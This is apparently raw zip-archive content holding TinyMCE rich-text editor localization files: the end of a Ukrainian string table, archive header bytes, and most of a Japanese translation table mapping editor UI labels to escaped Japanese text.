"Keyboard Navigation": "\u041a\u0435\u0440\u0443\u0432\u0430\u043d\u043d\u044f \u0437\u0430 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u043e\u044e \u043a\u043b\u0430\u0432\u0456\u0430\u0442\u0443\u0440\u0438",
"Version": "\u0412\u0435\u0440\u0441\u0456\u044f",
"Anchor": "\u042f\u043a\u0456\u0440",
"Special character": "\u0421\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u0456 \u0441\u0438\u043c\u0432\u043e\u043b\u0438",
"Code sample": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0443",
"Color": "\u043a\u043e\u043b\u0456\u0440",
"Emoticons": "\u0415\u043c\u043e\u0446\u0456\u0457",
"Document properties": "\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Image": "\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Insert link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Target": "\u0412\u0456\u0434\u043a\u0440\u0438\u0432\u0430\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Link": "\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Poster": "\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Media": "\u041c\u0435\u0434\u0456\u0430\u0434\u0430\u043d\u0456",
"Print": "\u0414\u0440\u0443\u043a\u0443\u0432\u0430\u0442\u0438",
"Prev": "\u0412\u0433\u043e\u0440\u0443",
"Find and replace": "\u041f\u043e\u0448\u0443\u043a \u0456 \u0437\u0430\u043c\u0456\u043d\u0430",
"Whole words": "\u0426\u0456\u043b\u0456 \u0441\u043b\u043e\u0432\u0430",
"Spellcheck": "\u041f\u0435\u0440\u0435\u0432\u0456\u0440\u043a\u0430 \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0456\u0457",
"Caption": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Insert template": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d"
});PK
h�\�M��m�mprogram/js/tinymce/langs/ja.jsnu�[���tinymce.addI18n('ja',{
"Redo": "\u3084\u308a\u76f4\u3057",
"Undo": "\u5143\u306b\u623b\u3059",
"Cut": "\u5207\u308a\u53d6\u308a",
"Copy": "\u30b3\u30d4\u30fc",
"Paste": "\u8cbc\u308a\u4ed8\u3051",
"Select all": "\u3059\u3079\u3066\u9078\u629e",
"New document": "\u65b0\u898f\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8",
"Ok": "OK",
"Cancel": "\u53d6\u6d88",
"Visual aids": "\u8868\u306e\u67a0\u7dda\u3092\u70b9\u7dda\u3067\u8868\u793a",
"Bold": "\u592a\u5b57",
"Italic": "\u659c\u4f53",
"Underline": "\u4e0b\u7dda",
"Strikethrough": "\u53d6\u6d88\u7dda",
"Superscript": "\u4e0a\u4ed8\u304d",
"Subscript": "\u4e0b\u4ed8\u304d",
"Clear formatting": "\u66f8\u5f0f\u3092\u30af\u30ea\u30a2",
"Align left": "\u5de6\u63c3\u3048",
"Align center": "\u4e2d\u592e\u63c3\u3048",
"Align right": "\u53f3\u63c3\u3048",
"Justify": "\u4e21\u7aef\u63c3\u3048",
"Bullet list": "\u7b87\u6761\u66f8\u304d",
"Numbered list": "\u756a\u53f7\u4ed8\u304d\u7b87\u6761\u66f8\u304d",
"Decrease indent": "\u30a4\u30f3\u30c7\u30f3\u30c8\u3092\u6e1b\u3089\u3059",
"Increase indent": "\u30a4\u30f3\u30c7\u30f3\u30c8\u3092\u5897\u3084\u3059",
"Close": "\u9589\u3058\u308b",
"Formats": "\u66f8\u5f0f",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u304a\u4f7f\u3044\u306e\u30d6\u30e9\u30a6\u30b6\u3067\u306f\u30af\u30ea\u30c3\u30d7\u30dc\u30fc\u30c9\u6a5f\u80fd\u3092\u5229\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u305b\u3093\u3002\u30ad\u30fc\u30dc\u30fc\u30c9\u306e\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\uff08Ctrl+X, Ctrl+C, Ctrl+V\uff09\u3092\u4f7f\u7528\u3057\u3066\u304f\u3060\u3055\u3044\u3002",
"Headers": "\u30d8\u30c3\u30c0\u30fc",
"Header 1": "\u30d8\u30c3\u30c0\u30fc 1",
"Header 2": "\u30d8\u30c3\u30c0\u30fc 2",
"Header 3": "\u30d8\u30c3\u30c0\u30fc 3",
"Header 4": "\u30d8\u30c3\u30c0\u30fc 4",
"Header 5": "\u30d8\u30c3\u30c0\u30fc 5",
"Header 6": "\u30d8\u30c3\u30c0\u30fc 6",
"Headings": "\u898b\u51fa\u3057",
"Heading 1": "\u898b\u51fa\u30571",
"Heading 2": "\u898b\u51fa\u30572",
"Heading 3": "\u898b\u51fa\u30573",
"Heading 4": "\u898b\u51fa\u30574",
"Heading 5": "\u898b\u51fa\u30575",
"Heading 6": "\u898b\u51fa\u30576",
"Preformatted": "\u66f8\u5f0f\u8a2d\u5b9a\u6e08\u307f",
"Div": "Div",
"Pre": "Pre",
"Code": "\u30b3\u30fc\u30c9",
"Paragraph": "\u6bb5\u843d",
"Blockquote": "Blockquote",
"Inline": "\u30a4\u30f3\u30e9\u30a4\u30f3",
"Blocks": "\u30d6\u30ed\u30c3\u30af",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u8cbc\u308a\u4ed8\u3051\u306f\u73fe\u5728\u30d7\u30ec\u30fc\u30f3\u30c6\u30ad\u30b9\u30c8\u30e2\u30fc\u30c9\u3067\u3059\u3002\u3053\u306e\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u30aa\u30d5\u306b\u3057\u306a\u3044\u9650\u308a\u5185\u5bb9\u306f\u30d7\u30ec\u30fc\u30f3\u30c6\u30ad\u30b9\u30c8\u3068\u3057\u3066\u8cbc\u308a\u4ed8\u3051\u3089\u308c\u307e\u3059\u3002",
"Fonts": "\u30d5\u30a9\u30f3\u30c8",
"Font Sizes": "\u30d5\u30a9\u30f3\u30c8\u30b5\u30a4\u30ba",
"Class": "\u30af\u30e9\u30b9",
"Browse for an image": "\u753b\u50cf\u3092\u53c2\u7167",
"OR": "OR",
"Drop an image here": "\u3053\u3053\u306b\u753b\u50cf\u3092\u30c9\u30ed\u30c3\u30d7",
"Upload": "\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9",
"Block": "\u30d6\u30ed\u30c3\u30af",
"Align": "\u914d\u7f6e",
"Default": "\u30c7\u30d5\u30a9\u30eb\u30c8",
"Circle": "\u5186",
"Disc": "\u70b9",
"Square": "\u56db\u89d2",
"Lower Alpha": "\u5c0f\u6587\u5b57\u306e\u30a2\u30eb\u30d5\u30a1\u30d9\u30c3\u30c8",
"Lower Greek": "\u5c0f\u6587\u5b57\u306e\u30ae\u30ea\u30b7\u30e3\u6587\u5b57",
"Lower Roman": "\u5c0f\u6587\u5b57\u306e\u30ed\u30fc\u30de\u6570\u5b57",
"Upper Alpha": "\u5927\u6587\u5b57\u306e\u30a2\u30eb\u30d5\u30a1\u30d9\u30c3\u30c8",
"Upper Roman": "\u5927\u6587\u5b57\u306e\u30ed\u30fc\u30de\u6570\u5b57",
"Anchor...": "\u30a2\u30f3\u30ab\u30fc...",
"Name": "\u30a2\u30f3\u30ab\u30fc\u540d",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "ID\u306f\u6587\u5b57\u3067\u59cb\u307e\u308a\u3001\u6587\u5b57\u3001\u6570\u5b57\u3001\u30c0\u30c3\u30b7\u30e5\u3001\u30c9\u30c3\u30c8\u3001\u30b3\u30ed\u30f3\u307e\u305f\u306f\u30a2\u30f3\u30c0\u30fc\u30b9\u30b3\u30a2\u3067\u59cb\u307e\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002",
"You have unsaved changes are you sure you want to navigate away?": "\u307e\u3060\u4fdd\u5b58\u3057\u3066\u3044\u306a\u3044\u5909\u66f4\u304c\u3042\u308a\u307e\u3059\u304c\u3001\u672c\u5f53\u306b\u3053\u306e\u30da\u30fc\u30b8\u3092\u96e2\u308c\u307e\u3059\u304b\uff1f",
"Restore last draft": "\u524d\u56de\u306e\u4e0b\u66f8\u304d\u3092\u5fa9\u6d3b\u3055\u305b\u308b",
"Special character...": "\u7279\u6b8a\u6587\u5b57...",
"Source code": "\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9",
"Insert\/Edit code sample": "\u30b3\u30fc\u30c9\u30b5\u30f3\u30d7\u30eb\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"Language": "\u8a00\u8a9e",
"Code sample...": "\u30b3\u30fc\u30c9\u306e\u30b5\u30f3\u30d7\u30eb...",
"Color Picker": "\u30ab\u30e9\u30fc\u30d4\u30c3\u30ab\u30fc",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u5de6\u304b\u3089\u53f3",
"Right to left": "\u53f3\u304b\u3089\u5de6",
"Emoticons": "\u7d75\u6587\u5b57",
"Emoticons...": "\u7d75\u6587\u5b57...",
"Metadata and Document Properties": "\u30e1\u30bf\u30c7\u30fc\u30bf\u3068\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u30d7\u30ed\u30d1\u30c6\u30a3",
"Title": "\u30bf\u30a4\u30c8\u30eb",
"Keywords": "\u30ad\u30fc\u30ef\u30fc\u30c9",
"Description": "\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u5185\u5bb9",
"Robots": "\u30ed\u30dc\u30c3\u30c4",
"Author": "\u8457\u8005",
"Encoding": "\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0",
"Fullscreen": "\u5168\u753b\u9762\u8868\u793a",
"Action": "\u30a2\u30af\u30b7\u30e7\u30f3",
"Shortcut": "\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8",
"Help": "\u30d8\u30eb\u30d7",
"Address": "\u30a2\u30c9\u30ec\u30b9",
"Focus to menubar": "\u30e1\u30cb\u30e5\u30fc\u30d0\u30fc\u306b\u30d5\u30a9\u30fc\u30ab\u30b9",
"Focus to toolbar": "\u30c4\u30fc\u30eb\u30d0\u30fc\u306b\u30d5\u30a9\u30fc\u30ab\u30b9",
"Focus to element path": "\u8981\u7d20\u30d1\u30b9\u306b\u30d5\u30a9\u30fc\u30ab\u30b9",
"Focus to contextual toolbar": "\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u30c4\u30fc\u30eb\u30d0\u30fc\u306b\u30d5\u30a9\u30fc\u30ab\u30b9",
"Insert link (if link plugin activated)": "\u30ea\u30f3\u30af\u3092\u633f\u5165 (\u30ea\u30f3\u30af\u30d7\u30e9\u30b0\u30a4\u30f3\u6709\u52b9\u6642)",
"Save (if save plugin activated)": "\u4fdd\u5b58 (\u4fdd\u5b58\u30d7\u30e9\u30b0\u30a4\u30f3\u6709\u52b9\u6642)",
"Find (if searchreplace plugin activated)": "\u691c\u7d22(\u7f6e\u63db\u30d7\u30e9\u30b0\u30a4\u30f3\u6709\u52b9\u6642)",
"Plugins installed ({0}):": "\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u6e08\u30d7\u30e9\u30b0\u30a4\u30f3 ({0}):",
"Premium plugins:": "\u30d7\u30ec\u30df\u30a2\u30e0\u30d7\u30e9\u30b0\u30a4\u30f3:",
"Learn more...": "\u8a73\u7d30...",
"You are using {0}": "\u3042\u306a\u305f\u306f {0} \u4f7f\u7528\u4e2d",
"Plugins": "\u30d7\u30e9\u30b0\u30a4\u30f3",
"Handy Shortcuts": "\u4fbf\u5229\u306a\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8",
"Horizontal line": "\u6c34\u5e73\u7f6b\u7dda",
"Insert\/edit image": "\u753b\u50cf\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"Alternative description": "\u4ee3\u66ff\u306e\u8aac\u660e\u6587",
"Accessibility": "\u30a2\u30af\u30bb\u30b7\u30d3\u30ea\u30c6\u30a3",
"Image is decorative": "\u753b\u50cf\u306f\u88c5\u98fe\u753b\u50cf",
"Source": "\u753b\u50cf\u306e\u30bd\u30fc\u30b9",
"Dimensions": "\u753b\u50cf\u30b5\u30a4\u30ba\uff08\u6a2a\u30fb\u7e26\uff09",
"Constrain proportions": "\u7e26\u6a2a\u6bd4\u3092\u4fdd\u6301\u3059\u308b",
"General": "\u4e00\u822c",
"Advanced": "\u8a73\u7d30\u8a2d\u5b9a",
"Style": "\u30b9\u30bf\u30a4\u30eb",
"Vertical space": "\u7e26\u65b9\u5411\u306e\u4f59\u767d",
"Horizontal space": "\u6a2a\u65b9\u5411\u306e\u4f59\u767d",
"Border": "\u67a0\u7dda",
"Insert image": "\u753b\u50cf\u306e\u633f\u5165",
"Image...": "\u753b\u50cf..",
"Image list": "\u753b\u50cf\u4e00\u89a7",
"Rotate counterclockwise": "\u53cd\u6642\u8a08\u56de\u308a\u306b\u56de\u8ee2",
"Rotate clockwise": "\u6642\u8a08\u56de\u308a\u306b\u56de\u8ee2",
"Flip vertically": "\u4e0a\u4e0b\u306b\u53cd\u8ee2",
"Flip horizontally": "\u6c34\u5e73\u306b\u53cd\u8ee2",
"Edit image": "\u753b\u50cf\u306e\u7de8\u96c6",
"Image options": "\u753b\u50cf\u30aa\u30d7\u30b7\u30e7\u30f3",
"Zoom in": "\u30ba\u30fc\u30e0\u30a4\u30f3",
"Zoom out": "\u30ba\u30fc\u30e0\u30a2\u30a6\u30c8",
"Crop": "\u30af\u30ed\u30c3\u30d7",
"Resize": "\u30ea\u30b5\u30a4\u30ba",
"Orientation": "\u5411\u304d",
"Brightness": "\u660e\u308b\u3055",
"Sharpen": "\u30b7\u30e3\u30fc\u30d7\u5316",
"Contrast": "\u30b3\u30f3\u30c8\u30e9\u30b9\u30c8",
"Color levels": "\u30ab\u30e9\u30fc\u30ec\u30d9\u30eb",
"Gamma": "\u30ac\u30f3\u30de",
"Invert": "\u53cd\u8ee2",
"Apply": "\u9069\u7528",
"Back": "\u623b\u308b",
"Insert date\/time": "\u65e5\u4ed8\u30fb\u6642\u523b",
"Date\/time": "\u65e5\u4ed8\u30fb\u6642\u523b",
"Insert\/edit link": "\u30ea\u30f3\u30af\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"Text to display": "\u30ea\u30f3\u30af\u5143\u30c6\u30ad\u30b9\u30c8",
"Url": "\u30ea\u30f3\u30af\u5148URL",
"Open link in...": "\u30ea\u30f3\u30af\u306e\u958b\u304d\u65b9...",
"Current window": "\u540c\u3058\u30a6\u30a3\u30f3\u30c9\u30a6",
"None": "\u306a\u3057",
"New window": "\u65b0\u898f\u30a6\u30a3\u30f3\u30c9\u30a6",
"Open link": "\u30ea\u30f3\u30af\u3092\u958b\u304f",
"Remove link": "\u30ea\u30f3\u30af\u306e\u524a\u9664",
"Anchors": "\u30a2\u30f3\u30ab\u30fc\uff08\u30ea\u30f3\u30af\u306e\u5230\u9054\u70b9\uff09",
"Link...": "\u30ea\u30f3\u30af...",
"Paste or type a link": "\u30ea\u30f3\u30af\u3092\u30da\u30fc\u30b9\u30c8\u307e\u305f\u306f\u5165\u529b",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u5165\u529b\u3055\u308c\u305fURL\u306f\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u3088\u3046\u3067\u3059\u3002\u300cmailto:\u300d\u30d7\u30ec\u30d5\u30a3\u30c3\u30af\u30b9\u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b\uff1f",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u5165\u529b\u3055\u308c\u305fURL\u306f\u5916\u90e8\u30ea\u30f3\u30af\u306e\u3088\u3046\u3067\u3059\u3002\u300chttp:\/\/\u300d\u30d7\u30ec\u30d5\u30a3\u30c3\u30af\u30b9\u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b\uff1f",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "\u5165\u529b\u3055\u308c\u305fURL\u306f\u5916\u90e8\u30ea\u30f3\u30af\u306e\u3088\u3046\u3067\u3059\u3002\u5fc5\u8981\u306a\u300chttps:\/\/\u300d\u30d7\u30ec\u30d5\u30a3\u30c3\u30af\u30b9\u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b\uff1f",
"Link list": "\u30ea\u30f3\u30af\u4e00\u89a7",
"Insert video": "\u52d5\u753b",
"Insert\/edit video": "\u52d5\u753b\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"Insert\/edit media": "\u30e1\u30c7\u30a3\u30a2\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"Alternative source": "\u4ee3\u66ff\u52d5\u753b\u306e\u5834\u6240",
"Alternative source URL": "\u4ee3\u66ff\u30bd\u30fc\u30b9URL",
"Media poster (Image URL)": "\u30e1\u30c7\u30a3\u30a2\u30dd\u30b9\u30bf\u30fc (\u753b\u50cfURL)",
"Paste your embed code below:": "\u57cb\u3081\u8fbc\u307f\u7528\u30b3\u30fc\u30c9\u3092\u4e0b\u8a18\u306b\u8cbc\u308a\u4ed8\u3051\u3066\u304f\u3060\u3055\u3044\u3002",
"Embed": "\u57cb\u3081\u8fbc\u307f",
"Media...": "\u30e1\u30c7\u30a3\u30a2\u2026",
"Nonbreaking space": "\u56fa\u5b9a\u30b9\u30da\u30fc\u30b9\uff08&nbsp;\uff09",
"Page break": "\u30da\u30fc\u30b8\u533a\u5207\u308a",
"Paste as text": "\u30c6\u30ad\u30b9\u30c8\u3068\u3057\u3066\u8cbc\u308a\u4ed8\u3051",
"Preview": "\u30d7\u30ec\u30d3\u30e5\u30fc",
"Print...": "\u5370\u5237...",
"Save": "\u4fdd\u5b58",
"Find": "\u691c\u7d22",
"Replace with": "\u7f6e\u304d\u63db\u3048\u308b\u6587\u5b57",
"Replace": "\u7f6e\u304d\u63db\u3048",
"Replace all": "\u5168\u3066\u3092\u7f6e\u304d\u63db\u3048\u308b",
"Previous": "\u524d\u3078",
"Next": "\u6b21",
"Find and Replace": "\u691c\u7d22\u3068\u7f6e\u63db",
"Find and replace...": "\u7f6e\u63db...",
"Could not find the specified string.": "\u304a\u63a2\u3057\u306e\u6587\u5b57\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002",
"Match case": "\u5927\u6587\u5b57\u30fb\u5c0f\u6587\u5b57\u3092\u533a\u5225\u3059\u308b",
"Find whole words only": "\u8a9e\u5168\u4f53\u3092\u542b\u3080\u3082\u306e\u306e\u307f\u691c\u7d22",
"Find in selection": "\u9078\u629e\u90e8\u5206\u3067\u691c\u7d22",
"Spellcheck": "\u30b9\u30da\u30eb\u30c1\u30a7\u30c3\u30af",
"Spellcheck Language": "\u8a00\u8a9e\u306e\u30b9\u30da\u30eb\u30c1\u30a7\u30c3\u30af",
"No misspellings found.": "\u30b9\u30da\u30eb\u30df\u30b9\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f",
"Ignore": "\u7121\u8996",
"Ignore all": "\u5168\u3066\u3092\u7121\u8996",
"Finish": "\u7d42\u4e86",
"Add to Dictionary": "\u8f9e\u66f8\u306b\u8ffd\u52a0",
"Insert table": "\u8868\u306e\u633f\u5165",
"Table properties": "\u8868\u306e\u8a73\u7d30\u8a2d\u5b9a",
"Delete table": "\u8868\u306e\u524a\u9664",
"Cell": "\u30bb\u30eb",
"Row": "\u884c",
"Column": "\u5217",
"Cell properties": "\u30bb\u30eb\u306e\u8a73\u7d30\u8a2d\u5b9a",
"Merge cells": "\u30bb\u30eb\u306e\u7d50\u5408",
"Split cell": "\u30bb\u30eb\u306e\u5206\u5272",
"Insert row before": "\u4e0a\u5074\u306b\u884c\u3092\u633f\u5165",
"Insert row after": "\u4e0b\u5074\u306b\u884c\u3092\u633f\u5165",
"Delete row": "\u884c\u306e\u524a\u9664",
"Row properties": "\u884c\u306e\u8a73\u7d30\u8a2d\u5b9a",
"Cut row": "\u884c\u306e\u5207\u308a\u53d6\u308a",
"Copy row": "\u884c\u306e\u30b3\u30d4\u30fc",
"Paste row before": "\u4e0a\u5074\u306b\u884c\u3092\u8cbc\u308a\u4ed8\u3051",
"Paste row after": "\u4e0b\u5074\u306b\u884c\u3092\u8cbc\u308a\u4ed8\u3051",
"Insert column before": "\u5de6\u5074\u306b\u5217\u3092\u633f\u5165",
"Insert column after": "\u53f3\u5074\u306b\u5217\u3092\u633f\u5165",
"Delete column": "\u5217\u306e\u524a\u9664",
"Cols": "\u5217\u6570",
"Rows": "\u884c\u6570",
"Width": "\u5e45",
"Height": "\u9ad8\u3055",
"Cell spacing": "\u30bb\u30eb\u306e\u9593\u9694",
"Cell padding": "\u30bb\u30eb\u5185\u4f59\u767d\uff08\u30d1\u30c7\u30a3\u30f3\u30b0\uff09",
"Caption": "\u8868\u984c",
"Show caption": "\u30ad\u30e3\u30d7\u30b7\u30e7\u30f3\u306e\u8868\u793a",
"Left": "\u5de6\u5bc4\u305b",
"Center": "\u4e2d\u592e\u63c3\u3048",
"Right": "\u53f3\u5bc4\u305b",
"Cell type": "\u30bb\u30eb\u30bf\u30a4\u30d7",
"Scope": "\u30b9\u30b3\u30fc\u30d7",
"Alignment": "\u914d\u7f6e",
"H Align": "\u6c34\u5e73\u65b9\u5411\u306e\u914d\u7f6e",
"V Align": "\u5782\u76f4\u65b9\u5411\u306e\u914d\u7f6e",
"Top": "\u4e0a",
"Middle": "\u4e2d\u592e",
"Bottom": "\u4e0b",
"Header cell": "\u30d8\u30c3\u30c0\u30fc\u30bb\u30eb",
"Row group": "\u884c\u30b0\u30eb\u30fc\u30d7",
"Column group": "\u5217\u30b0\u30eb\u30fc\u30d7",
"Row type": "\u884c\u30bf\u30a4\u30d7",
"Header": "\u30d8\u30c3\u30c0\u30fc",
"Body": "\u30dc\u30c7\u30a3\u30fc",
"Footer": "\u30d5\u30c3\u30bf\u30fc",
"Border color": "\u67a0\u7dda\u306e\u8272",
"Insert template...": "\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u633f\u5165..",
"Templates": "\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u540d",
"Template": "\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8",
"Text color": "\u30c6\u30ad\u30b9\u30c8\u306e\u8272",
"Background color": "\u80cc\u666f\u8272",
"Custom...": "\u30ab\u30b9\u30bf\u30e0...",
"Custom color": "\u30ab\u30b9\u30bf\u30e0\u30ab\u30e9\u30fc",
"No color": "\u30ab\u30e9\u30fc\u306a\u3057",
"Remove color": "\u8272\u8a2d\u5b9a\u3092\u89e3\u9664",
"Table of Contents": "\u76ee\u6b21",
"Show blocks": "\u6587\u7ae0\u306e\u533a\u5207\u308a\u3092\u70b9\u7dda\u3067\u8868\u793a",
"Show invisible characters": "\u4e0d\u53ef\u8996\u6587\u5b57\u3092\u8868\u793a",
"Word count": "\u6587\u5b57\u6570\u30ab\u30a6\u30f3\u30c8",
"Count": "\u30ab\u30a6\u30f3\u30c8",
"Document": "\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8",
"Selection": "\u9078\u629e",
"Words": "\u5358\u8a9e\u6570",
"Words: {0}": "\u5358\u8a9e\u6570: {0}",
"{0} words": "{0} \u30ef\u30fc\u30c9",
"File": "\u30d5\u30a1\u30a4\u30eb",
"Edit": "\u7de8\u96c6",
"Insert": "\u633f\u5165",
"View": "\u8868\u793a",
"Format": "\u66f8\u5f0f",
"Table": "\u8868",
"Tools": "\u30c4\u30fc\u30eb",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u66f8\u5f0f\u4ed8\u304d\u30c6\u30ad\u30b9\u30c8\u306e\u7de8\u96c6\u753b\u9762\u3002ALT-F9\u3067\u30e1\u30cb\u30e5\u30fc\u3001ALT-F10\u3067\u30c4\u30fc\u30eb\u30d0\u30fc\u3001ALT-0\u3067\u30d8\u30eb\u30d7\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002",
"Image title": "\u753b\u50cf\u30bf\u30a4\u30c8\u30eb",
"Border width": "\u67a0\u7dda\u5e45",
"Border style": "\u67a0\u7dda\u30b9\u30bf\u30a4\u30eb",
"Error": "\u30a8\u30e9\u30fc",
"Warn": "\u8b66\u544a",
"Valid": "\u6709\u52b9",
"To open the popup, press Shift+Enter": "\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7\u3092\u958b\u304f\u306b\u306f\u3001Shift+Enter\u3092\u62bc\u3057\u3066\u304f\u3060\u3055\u3044",
"Rich Text Area. Press ALT-0 for help.": "\u30ea\u30c3\u30c1\u30c6\u30ad\u30b9\u30c8\u30a8\u30ea\u30a2\u3002Alt-0\u3067\u30d8\u30eb\u30d7\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002",
"System Font": "\u30b7\u30b9\u30c6\u30e0\u30d5\u30a9\u30f3\u30c8",
"Failed to upload image: {0}": "\u753b\u50cf{0}\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3067\u304d\u307e\u305b\u3093\u3067\u3057\u305f",
"Failed to load plugin: {0} from url {1}": "URL{1}\u304b\u3089\u306e\u30d7\u30e9\u30b0\u30a4\u30f3{0}\u306e\u8aad\u307f\u8fbc\u307f\u306b\u5931\u6557\u3057\u307e\u3057\u305f",
"Failed to load plugin url: {0}": "\u30d7\u30e9\u30b0\u30a4\u30f3\u306eURL{0}\u3092\u8aad\u307f\u8fbc\u3081\u307e\u305b\u3093\u3067\u3057\u305f",
"Failed to initialize plugin: {0}": "\u30d7\u30e9\u30b0\u30a4\u30f3{0}\u306e\u521d\u671f\u5316\u306b\u5931\u6557\u3057\u307e\u3057\u305f",
"example": "\u4f8b",
"Search": "\u691c\u7d22",
"All": "\u3059\u3079\u3066",
"Currency": "\u901a\u8ca8",
"Text": "\u30c6\u30ad\u30b9\u30c8",
"Quotations": "\u5f15\u7528",
"Mathematical": "\u6570\u5b66\u8a18\u53f7",
"Extended Latin": "\u30e9\u30c6\u30f3\u6587\u5b57\u62e1\u5f35",
"Symbols": "\u8a18\u53f7",
"Arrows": "\u77e2\u5370",
"User Defined": "\u30e6\u30fc\u30b6\u30fc\u5b9a\u7fa9",
"dollar sign": "\u30c9\u30eb\u8a18\u53f7",
"currency sign": "\u901a\u8ca8\u8a18\u53f7",
"euro-currency sign": "\u30e6\u30fc\u30ed\u8a18\u53f7",
"colon sign": "\u30b3\u30ed\u30f3\u8a18\u53f7",
"cruzeiro sign": "\u30af\u30eb\u30bc\u30a4\u30ed\u8a18\u53f7",
"french franc sign": "\u30d5\u30e9\u30f3\u30b9\u30d5\u30e9\u30f3\u8a18\u53f7",
"lira sign": "\u30ea\u30e9\u8a18\u53f7",
"mill sign": "\u30df\u30eb\u8a18\u53f7",
"naira sign": "\u30ca\u30a4\u30e9\u8a18\u53f7",
"peseta sign": "\u30da\u30bb\u30bf\u8a18\u53f7",
"rupee sign": "\u30eb\u30d4\u30fc\u8a18\u53f7",
"won sign": "\u30a6\u30a9\u30f3\u8a18\u53f7",
"new sheqel sign": "\u65b0\u30b7\u30a7\u30b1\u30eb\u8a18\u53f7",
"dong sign": "\u30c9\u30f3\u8a18\u53f7",
"kip sign": "\u30ad\u30fc\u30d7\u8a18\u53f7",
"tugrik sign": "\u30c8\u30a5\u30b0\u30eb\u30b0\u8a18\u53f7",
"drachma sign": "\u30c9\u30e9\u30af\u30de\u8a18\u53f7",
"german penny symbol": "\u30c9\u30a4\u30c4\u30da\u30cb\u30fc\u8a18\u53f7",
"peso sign": "\u30da\u30bd\u8a18\u53f7",
"guarani sign": "\u30ac\u30e9\u30cb\u8a18\u53f7",
"austral sign": "\u30a2\u30a6\u30b9\u30c8\u30e9\u30eb\u8a18\u53f7",
"hryvnia sign": "\u30d5\u30ea\u30f4\u30cb\u30e3\u8a18\u53f7",
"cedi sign": "\u30bb\u30c7\u30a3\u8a18\u53f7",
"livre tournois sign": "\u30c8\u30a5\u30fc\u30eb\u30dd\u30f3\u30c9\u8a18\u53f7",
"spesmilo sign": "\u30b9\u30da\u30b9\u30df\u30fc\u30ed\u8a18\u53f7",
"tenge sign": "\u30c6\u30f3\u30b2\u8a18\u53f7",
"indian rupee sign": "\u30a4\u30f3\u30c9\u30eb\u30d4\u30fc\u8a18\u53f7",
"turkish lira sign": "\u30c8\u30eb\u30b3\u30ea\u30e9\u8a18\u53f7",
"nordic mark sign": "\u5317\u6b27\u30de\u30eb\u30af\u8a18\u53f7",
"manat sign": "\u30de\u30ca\u30c8\u8a18\u53f7",
"ruble sign": "\u30eb\u30fc\u30d6\u30eb\u8a18\u53f7",
"yen character": "\u5186\u8a18\u53f7",
"yuan character": "\u4eba\u6c11\u5143\u8a18\u53f7",
"yuan character, in hong kong and taiwan": "\u9999\u6e2f\u304a\u3088\u3073\u53f0\u6e7e\u306b\u304a\u3051\u308b\u5143\u8a18\u53f7",
"yen\/yuan character variant one": "\u5186\/\u5143\u8a18\u53f7\u306e\u30d0\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3",
